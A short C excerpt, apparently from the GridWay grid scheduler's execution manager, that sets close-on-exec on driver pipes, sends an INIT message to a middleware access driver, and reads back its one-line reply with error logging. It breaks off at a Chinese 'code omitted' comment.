            fcntl(em_mad->em_mad_pipe, F_SETFD, FD_CLOEXEC); /* Close pipes in other MADs*/
            fcntl(em_mad->mad_em_pipe, F_SETFD, FD_CLOEXEC);
            
            sprintf(buf, "INIT %i - -\n",gw_conf.number_of_jobs);
            write(em_mad->em_mad_pipe, buf, strlen(buf));

            i = 0;

            do
            {
                rc = read(em_mad->mad_em_pipe, (void *) &c, sizeof(char));
                str[i++] = c;
            }
            while ( rc > 0 && c != '\n' &&  c != '\0');

            str[i] = '\0';

            if (rc <= 0)
            {
                gw_log_print("EM",'E',"\tInitialization failure, reading from MAD %s.\n", em_mad->name);
                gw_em_mad_finalize(em_mad);
                
//.........这里部分代码省略.........